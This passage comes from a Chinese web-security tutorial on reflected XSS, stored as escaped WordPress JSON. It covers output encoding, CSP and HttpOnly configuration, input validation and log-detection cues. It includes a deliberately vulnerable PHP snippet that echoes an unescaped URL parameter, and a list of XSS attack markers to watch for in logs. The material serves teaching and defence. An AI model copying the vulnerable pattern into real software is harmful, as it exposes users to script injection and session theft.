    \n JavaScript\u53d8\u91cf json_encode \u786e\u4fdd\u6570\u636e\u88ab\u6b63\u786e\u7f16\u7801\u4e3aJSON\u5b57\u7b26\u4e32，\u5305\u62ec\u8f6c\u4e49\u5f15\u53f7\u548c\u63a7\u5236\u5b57\u7b26\u3002
    \n URL\u53c2\u6570 <a href=\u201c\/profile?id=<?=$userId?>\u201d> <a href=\u201c\/profile?id=<?=urlencode($userId)?>\u201d> urlencode \u786e\u4fdd\u5728URL\u4e2d\u5b89\u5168\u4f20\u8f93\u3002 <\/p>\n

    \u73b0\u4ee3\u6846\u67b6\u5b89\u5168：\u4f7f\u7528\u73b0\u4ee3Web\u6846\u67b6（\u5982React， Vue， Angular）\u7684\u6570\u636e\u7ed1\u5b9a\u529f\u80fd，\u5b83\u4eec\u9ed8\u8ba4\u4f1a\u5bf9\u6e32\u67d3\u5230\u6a21\u677f\u4e2d\u7684\u6570\u636e\u8fdb\u884cHTML\u8f6c\u4e49，\u8fd9\u662f\u6700\u6709\u6548\u7684\u9632\u62a4\u63aa\u65bd\u4e4b\u4e00\u3002<\/p>\n

    \u8fd0\u7ef4\u4fa7\u52a0\u56fa：\u5b89\u5168\u7684\u914d\u7f6e\u4e0e\u7b56\u7565<\/p>\n

  • \u5185\u5bb9\u5b89\u5168\u7b56\u7565（Content Security Policy， CSP）： CSP\u901a\u8fc7HTTP\u5934 Content-Security-Policy \u544a\u8bc9\u6d4f\u89c8\u5668\u54ea\u4e9b\u8d44\u6e90\u662f\u5141\u8bb8\u52a0\u8f7d\u548c\u6267\u884c\u7684，\u662f\u9632\u5fa1XSS\u7684\u7ec8\u6781\u5229\u5668\u3002# Nginx\u914d\u7f6e\u793a\u4f8b：\u4e00\u4e2a\u4e25\u683c\u7684CSP\u7b56\u7565
    \nadd_header Content-Security-Policy "default-src 'self'; script-src 'self' https:\/\/trusted.cdn.com; object-src 'none';";
    \n \u00b7 default-src \u2018self\u2019：\u9ed8\u8ba4\u53ea\u5141\u8bb8\u52a0\u8f7d\u540c\u6e90\u8d44\u6e90\u3002 \u00b7 script-src \u2018self\u2019 \u2026：\u53ea\u5141\u8bb8\u6267\u884c\u540c\u6e90\u6216\u6307\u5b9aCDN\u7684\u811a\u672c\u3002\u5185\u8054\u811a\u672c（\u5305\u62ec\u4e8b\u4ef6\u5904\u7406\u5668）\u5c06\u88ab\u963b\u6b62，\u8fd9\u80fd\u6781\u5927\u524a\u5f31\u53cd\u5c04\u578bXSS\u7684\u5f71\u54cd\u3002 \u00b7 object-src \u2018none\u2019：\u7981\u6b62， ， \u7b49\u3002<\/li>\n
  • HttpOnly Cookie\u6807\u5fd7： \u5728\u8bbe\u7f6e\u4f1a\u8bddCookie\u65f6，\u6dfb\u52a0 HttpOnly \u5c5e\u6027，\u9632\u6b62JavaScript\u901a\u8fc7 document.cookie API\u8bfb\u53d6\u3002\/\/ PHP\u8bbe\u7f6eHttpOnly Cookie<\/span>
    \nsetcookie<\/span>(<\/span>\u2018sessionid\u2019， $sessionValue<\/span>， [<\/span>\u2018httponly\u2019 =><\/span> true<\/span>， \u2018secure\u2019 =><\/span> true<\/span>]<\/span>)<\/span>;<\/span>
    \n \u8fd9\u867d\u7136\u4e0d\u80fd\u963b\u6b62XSS\u53d1\u751f，\u4f46\u80fd\u6709\u6548\u963b\u6b62\u4f1a\u8bdd\u88ab\u76f4\u63a5\u7a83\u53d6，\u63d0\u5347\u4e86\u653b\u51fb\u95e8\u69db\u3002<\/li>\n
  • \u8f93\u5165\u9a8c\u8bc1\u4e0e\u89c4\u8303\u5316： \u00b7 \u7c7b\u578b\u4e0e\u683c\u5f0f\u68c0\u67e5：\u5bf9\u4e8e\u5df2\u77e5\u7c7b\u578b\u7684\u8f93\u5165（\u5982\u90ae\u7bb1\u3001\u7535\u8bdd\u53f7\u7801），\u8fdb\u884c\u4e25\u683c\u7684\u6b63\u5219\u5339\u914d\u3002 \u00b7 \u957f\u5ea6\u9650\u5236：\u8bbe\u7f6e\u5408\u7406\u7684\u8f93\u5165\u957f\u5ea6\u9650\u5236\u3002 \u00b7 \u89c4\u8303\u5316（Canonicalization）：\u5c06\u8f93\u5165\u8f6c\u6362\u4e3a\u6807\u51c6\u683c\u5f0f（\u5982URL\u89e3\u7801）\u540e\u518d\u8fdb\u884c\u9a8c\u8bc1\u548c\u8fc7\u6ee4，\u9632\u6b62\u5229\u7528\u7f16\u7801\u7ed5\u8fc7\u3002<\/li>\n

    \u68c0\u6d4b\u4e0e\u54cd\u5e94\u7ebf\u7d22<\/p>\n

    \u5728\u5e94\u7528\u65e5\u5fd7\u548cWAF\u65e5\u5fd7\u4e2d，\u5e94\u5173\u6ce8\u4ee5\u4e0b\u5f02\u5e38\u6a21\u5f0f：<\/p>\n

    \u00b7 \u8bf7\u6c42\u4e2d\u5927\u91cf\u51fa\u73b0HTML\/JS\u7279\u6b8a\u5b57\u7b26：\u5982\u9891\u7e41\u51fa\u73b0 <， >， script， onerror， javascript: \u7b49\u3002 \u00b7 \u5f02\u5e38\u7684Referer\u6216User-Agent：\u653b\u51fb\u8005\u53ef\u80fd\u5728\u4f2a\u9020\u7684\u8bf7\u6c42\u4e2d\u4f7f\u7528\u6076\u610fPayload\u3002 \u00b7 \u77ed\u65f6\u95f4\u5185\u540c\u4e00\u53c2\u6570\u7684\u5927\u91cf\u4e0d\u540c\u53d8\u4f53\u8bf7\u6c42：\u8fd9\u53ef\u80fd\u662f\u81ea\u52a8\u5316\u626b\u63cf\u5de5\u5177\u5728\u6d3b\u52a8\u3002<\/p>\n

    \u7b2c\u4e94\u90e8\u5206：\u603b\u7ed3\u4e0e\u8109\u7edc \u2014\u2014 \u8fde\u63a5\u4e0e\u5c55\u671b<\/p>\n

    \u6838\u5fc3\u8981\u70b9\u590d\u76d8<\/p>\n

  • \u672c\u8d28\u662f\u4fe1\u4efb\u5931\u63a7：\u53cd\u5c04\u578bXSS\u7684\u6838\u5fc3\u662f\u670d\u52a1\u5668\u5c06\u4e0d\u53ef\u4fe1\u7684\u7528\u6237\u8f93\u5165，\u672a\u7ecf\u9a8c\u8bc1\u7f16\u7801\u4fbf\u653e\u5165\u53ef\u4fe1\u7684\u54cd\u5e94\u4e0a\u4e0b\u6587\u4e2d，\u5bfc\u81f4\u6d4f\u89c8\u5668\u9519\u8bef\u6267\u884c\u3002<\/li>\n
  • \u653b\u51fb\u94fe\u4f9d\u8d56\u8bf1\u5bfc：\u5b83\u9700\u8981\u8bf1\u5bfc\u7528\u6237\u70b9\u51fb\u6076\u610f\u94fe\u63a5，\u5e38\u4e0e\u793e\u4f1a\u5de5\u7a0b\u5b66\u7ed3\u5408\u3002<\/li>\n
  • \u9632\u5fa1\u57fa\u77f3\u662f\u8f93\u51fa\u7f16\u7801：\u6839\u636e\u8f93\u51fa\u4f4d\u7f6e（HTML， JS， URL）\u9009\u62e9\u6b63\u786e\u7684\u7f16\u7801\u51fd\u6570（htmlspecialchars， json_encode， urlencode）\u662f\u5f00\u53d1\u8005\u7684\u9996\u8981\u8d23\u4efb\u3002<\/li>\n
  • \u7eb5\u6df1\u9632\u5fa1\u4e0d\u53ef\u6216\u7f3a：HttpOnly Cookie\u548c CSP \u662f\u51cf\u8f7b\u6f0f\u6d1e\u5f71\u54cd\u3001\u751a\u81f3\u76f4\u63a5\u963b\u6b62\u5229\u7528\u7684\u5173\u952e\u8fd0\u7ef4\u4e0e\u67b6\u6784\u5c42\u9632\u5fa1\u3002<\/li>\n
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    \u77e5\u8bc6\u4f53\u7cfb\u8fde\u63a5<\/p>\n

    \u00b7 \u524d\u9a71\u57fa\u7840： \u00b7 (A-01) HTTP\u534f\u8bae\u6df1\u5ea6\u89e3\u6790：\u7406\u89e3\u8bf7\u6c42\/\u54cd\u5e94\u7ed3\u6784\u662f\u5206\u6790XSS\u7684\u57fa\u7840\u3002 \u00b7 (A-02) Web\u524d\u7aef\u5b89\u5168\u57fa\u7840（\u540c\u6e90\u7b56\u7565\u3001Cookie\u673a\u5236）：\u7406\u89e3XSS\u5371\u5bb3\u7684\u539f\u7406\u3002 \u00b7 \u672c\u6587\u4f4d\u7f6e：(B-03) \u53cd\u5c04\u578bXSS：\u539f\u7406\u3001\u53d1\u73b0\u4e0e\u5229\u7528\u3002 \u00b7 \u540e\u7ee7\u8fdb\u9636： \u00b7 (B-04) \u5b58\u50a8\u578bXSS：\u6301\u4e45\u5316\u7684\u5a01\u80c1：\u653b\u51fbPayload\u88ab\u5b58\u50a8\u5728\u670d\u52a1\u5668\u7aef（\u5982\u6570\u636e\u5e93），\u5f71\u54cd\u6240\u6709\u8bbf\u95ee\u8005，\u5371\u5bb3\u66f4\u5927\u3002 \u00b7 (B-05) DOM\u578bXSS：\u5ba2\u6237\u7aef\u7684\u6ca6\u9677：\u6f0f\u6d1e\u6210\u56e0\u5b8c\u5168\u5728\u5ba2\u6237\u7aefJavaScript\u903b\u8f91\u4e2d，\u4e0d\u4f9d\u8d56\u670d\u52a1\u5668\u54cd\u5e94，\u66f4\u9690\u853d\u3002 \u00b7 (B-06) XSS\u7ed5\u8fc7\u827a\u672f：\u5bf9\u6297WAF\u4e0e\u8fc7\u6ee4\u5668：\u6df1\u5165\u7814\u7a76\u9ad8\u7ea7Payload\u6784\u9020\u548c\u6df7\u6dc6\u6280\u672f\u3002 \u00b7 (C-02) CSRF\u653b\u51fb\u4e0e\u9632\u5fa1：XSS\u5e38\u88ab\u7528\u4f5c\u53d1\u8d77CSRF\u653b\u51fb\u7684\u8f7d\u4f53\u3002 \u00b7 (D-01) \u6f0f\u6d1e\u5229\u7528\u6846\u67b6（\u5982BeEF）\u5b9e\u6218：\u5b66\u4e60\u5982\u4f55\u5c06XSS\u6f0f\u6d1e\u8f6c\u5316\u4e3a\u5f3a\u5927\u7684\u6301\u7eed\u63a7\u5236\u94a9\u5b50（Hook）\u3002<\/p>\n

    \u8fdb\u9636\u65b9\u5411\u6307\u5f15<\/p>\n

  • XSS\u653b\u51fb\u81ea\u52a8\u5316\u4e0e\u6f0f\u6d1e\u8d4f\u91d1：\u7814\u7a76\u5982\u4f55\u7cfb\u7edf\u5316\u5730\u8fdb\u884c\u5927\u89c4\u6a21XSS\u68c0\u6d4b，\u7f16\u5199\u66f4\u667a\u80fd\u7684\u6a21\u7cca\u6d4b\u8bd5\u5f15\u64ce，\u5e76\u5e94\u7528\u4e8e\u6f0f\u6d1e\u8d4f\u91d1（Bug Bounty）\u9879\u76ee\u3002<\/li>\n
  • \u524d\u7aef\u5b89\u5168\u6846\u67b6\u4e0e\u6e90\u7801\u5ba1\u8ba1：\u6df1\u5165\u7814\u7a76\u4e3b\u6d41\u524d\u7aef\u6846\u67b6（React， Vue， Angular）\u7684\u5b89\u5168\u673a\u5236\u3001\u6613\u9519API，\u4ee5\u53ca\u5982\u4f55\u5ba1\u8ba1\u590d\u6742\u5355\u9875\u9762\u5e94\u7528（SPA）\u4e2d\u7684XSS\u6f0f\u6d1e\u3002<\/li>\n
  • \u670d\u52a1\u7aef\u6a21\u677f\u6ce8\u5165（SSTI）：\u8fd9\u662fXSS\u5728\u670d\u52a1\u7aef\u903b\u8f91\u7684\u201c\u8fdc\u4eb2\u201d，\u653b\u51fb\u8005\u80fd\u591f\u6ce8\u5165\u6a21\u677f\u8868\u8fbe\u5f0f，\u5728\u670d\u52a1\u5668\u7aef\u6267\u884c\u4ee3\u7801，\u5371\u5bb3\u7b49\u7ea7\u66f4\u9ad8，\u4f46\u6316\u6398\u601d\u8def\u4e0eXSS\u6709\u76f8\u901a\u4e4b\u5904\u3002<\/li>\n
    \n

    \u6587\u7ae0\u81ea\u68c0\u6e05\u5355<\/p>\n

    \u00b7 \u662f\u5426\u660e\u786e\u5b9a\u4e49\u4e86\u672c\u4e3b\u9898\u7684\u4ef7\u503c\u4e0e\u5b66\u4e60\u76ee\u6807？ \u5f00\u7bc7\u9610\u8ff0\u4e86\u53cd\u5c04\u578bXSS\u7684\u666e\u904d\u6027\u3001\u5371\u5bb3\u6027\u53ca\u5728\u653b\u9632\u4f53\u7cfb\u4e2d\u7684\u542f\u8499\u4ef7\u503c\u3002\u5e76\u4ee55\u6761\u5177\u4f53\u3001\u53ef\u8861\u91cf\u7684\u9648\u8ff0\u5217\u51fa\u4e86\u5b66\u4e60\u76ee\u6807\u3002 \u00b7 \u539f\u7406\u90e8\u5206\u662f\u5426\u5305\u542b\u4e00\u5f20\u81ea\u89e3\u91ca\u7684Mermaid\u6838\u5fc3\u673a\u5236\u56fe？ \u5305\u542b\u4e00\u5f20\u5b8c\u6574\u7684Mermaid\u65f6\u5e8f\u56fe，\u6e05\u6670\u63cf\u7ed8\u4e86\u653b\u51fb\u8005\u3001\u53d7\u5bb3\u8005\u3001\u670d\u52a1\u5668\u3001\u6d4f\u89c8\u5668\u56db\u8005\u5728\u53cd\u5c04\u578bXSS\u653b\u51fb\u4e2d\u7684\u4ea4\u4e92\u6d41\u7a0b，\u5e76\u9644\u6709\u8be6\u7ec6\u89e3\u8bfb\u3002 \u00b7 \u5b9e\u6218\u90e8\u5206\u662f\u5426\u5305\u542b\u4e00\u4e2a\u53ef\u8fd0\u884c\u7684\u3001\u6ce8\u91ca\u8be6\u5c3d\u7684\u4ee3\u7801\u7247\u6bb5？ \u63d0\u4f9b\u4e86\u4e00\u4e2a\u7528\u4e8e\u6388\u6743\u6d4b\u8bd5\u7684Python\u6a21\u7cca\u6d4b\u8bd5\u811a\u672c，\u5305\u542b\u8be6\u7ec6\u7684\u6ce8\u91ca\u3001\u9519\u8bef\u5904\u7406\u3001\u53c2\u6570\u5316\u8bbe\u8ba1\u53ca\u663e\u8457\u7684\u5b89\u5168\u8b66\u544a\u3002 \u00b7 \u9632\u5fa1\u90e8\u5206\u662f\u5426\u63d0\u4f9b\u4e86\u81f3\u5c11\u4e00\u4e2a\u5177\u4f53\u7684\u5b89\u5168\u4ee3\u7801\u793a\u4f8b\u6216\u914d\u7f6e\u65b9\u6848？ \u63d0\u4f9b\u4e86\u6db5\u76d6HTML\u3001\u5c5e\u6027\u3001JavaScript\u3001URL\u56db\u79cd\u4e0a\u4e0b\u6587\u7684\u201c\u5371\u9669vs\u5b89\u5168\u201d\u4ee3\u7801\u5bf9\u6bd4\u793a\u4f8b，\u5e76\u7ed9\u51fa\u4e86CSP\u548cHttpOnly Cookie\u7684\u5177\u4f53\u914d\u7f6e\u7247\u6bb5\u3002 \u00b7 \u662f\u5426\u5efa\u7acb\u4e86\u4e0e\u77e5\u8bc6\u5927\u7eb2\u4e2d\u5176\u4ed6\u6587\u7ae0\u7684\u8054\u7cfb？ \u5728\u201c\u77e5\u8bc6\u4f53\u7cfb\u8fde\u63a5\u201d\u90e8\u5206，\u660e\u786e\u5217\u51fa\u4e86\u524d\u9a71（A-01， A-02）\u3001\u672c\u6587（B-03）\u53ca\u540e\u7ee7（B-04， B-05， B-06， C-02， D-01）\u6587\u7ae0，\u6784\u5efa\u4e86\u6e05\u6670\u7684\u77e5\u8bc6\u8def\u5f84\u3002 \u00b7 \u5168\u6587\u662f\u5426\u907f\u514d\u4e86\u672a\u5b9a\u4e49\u7684\u672f\u8bed\u548c\u6a21\u7cca\u8868\u8ff0？ \u5173\u952e\u672f\u8bed（\u5982\u53cd\u5c04\u578bXSS\u3001\u540c\u6e90\u7b56\u7565\u3001CSP\u3001HttpOnly）\u9996\u6b21\u51fa\u73b0\u65f6\u5747\u5df2\u52a0\u7c97\u5e76\u8fdb\u884c\u4e86\u6e05\u6670\u89e3\u91ca\u3002\u6240\u6709\u6280\u672f\u8bba\u8ff0\u5747\u6709\u903b\u8f91\u6216\u5b9e\u4f8b\u652f\u6491，\u65e0\u6a21\u7cca\u8868\u8ff0\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"

    \u7b2c\u4e00\u90e8\u5206：\u5f00\u7bc7\u660e\u4e49 \u2014\u2014 \u5b9a\u4e49\u3001\u4ef7\u503c\u4e0e\u76ee\u6807
    \n\u5b9a\u4f4d\u4e0e\u4ef7\u503c
    \n\u5728Web\u5b89\u5168\u653b\u9632\u7684\u6218\u573a\u4e0a，\u53cd\u5c04\u578b\u8de8\u7ad9\u811a\u672c（Reflected Cross-Site Scripting， Reflected XSS） \u5982\u540c\u4e00\u4f4d\u6f5c\u884c\u4e8e\u8bf7\u6c42\u4e0e\u54cd\u5e94\u4e4b\u95f4\u7684\u201c\u4f2a\u88c5\u8005\u201d\u3002\u5b83\u5e76\u975e\u4e00\u79cd\u590d\u6742\u7684\u6f0f\u6d1e，\u5374\u56e0\u5176\u5e7f\u6cdb\u5b58\u5728\u548c\u5de8\u5927\u7684\u6f5c\u5728\u5371\u5bb3，\u6210\u4e3a\u6e17\u900f\u6d4b\u8bd5\u5de5\u7a0b\u5e08\u548c\u653b\u51fb\u8005\u5fc5\u987b\u7cbe\u901a\u7684\u201c\u5fc5\u4fee\u8bfe\u201d\u3002\u7b80\u5355\u6765\u8bf4，\u53cd\u5c04\u578bXSS\u53d1\u751f\u5728<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[1042,87,122],"topic":[],"class_list":["post-62638","post","type-post","status-publish","format-standard","hentry","category-server","tag-xss","tag-87","tag-122"],"yoast_head":"\n\u53cd\u5c04\u578bXSS\uff1a\u539f\u7406\u3001\u53d1\u73b0\u4e0e\u5229\u7528 - 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